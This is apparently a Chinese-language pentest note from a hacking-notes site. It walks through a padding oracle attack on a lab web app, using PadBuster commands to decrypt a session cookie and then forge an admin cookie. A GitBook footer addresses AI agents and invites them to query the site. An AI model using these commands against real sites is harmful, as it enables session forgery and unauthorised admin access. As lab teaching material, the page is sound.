> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/padding-oracle-attack/padding-oracle-techniques-pentesting-web.md).
# 填充预言机技术
让我们 **创建一个用户** 在网站上：
这是 **会话 Cookie** 它是碎片化的，而我们尝试的 **解密**:
使用工具 **PadBuster**，我们将带有会话 cookie 及其名称的链接发送如下：
```perl
padbuster http://192.168.71.129/index.php dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard 8 -cookies 'auth=dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard'
```
它返回 cookie 的值在 **明文**:
如果不设置 **user=jordan**，我们将其加密为 **user=admin**，如果存在，这会给我们管理员会话 cookie。使用 **PadBuster**，我们重新发送命令，但这次我们使用 **-plaintext** 因为我们知道要用相同的方式加密的明文 **预言机**:
```perl
padbuster http://192.168.71.129/index.php dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard 8 -cookies 'auth=dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard' -plaintext 'user=admin'
```
它给我们会话 cookie **admin**:
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/padding-oracle-attack/padding-oracle-techniques-pentesting-web.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.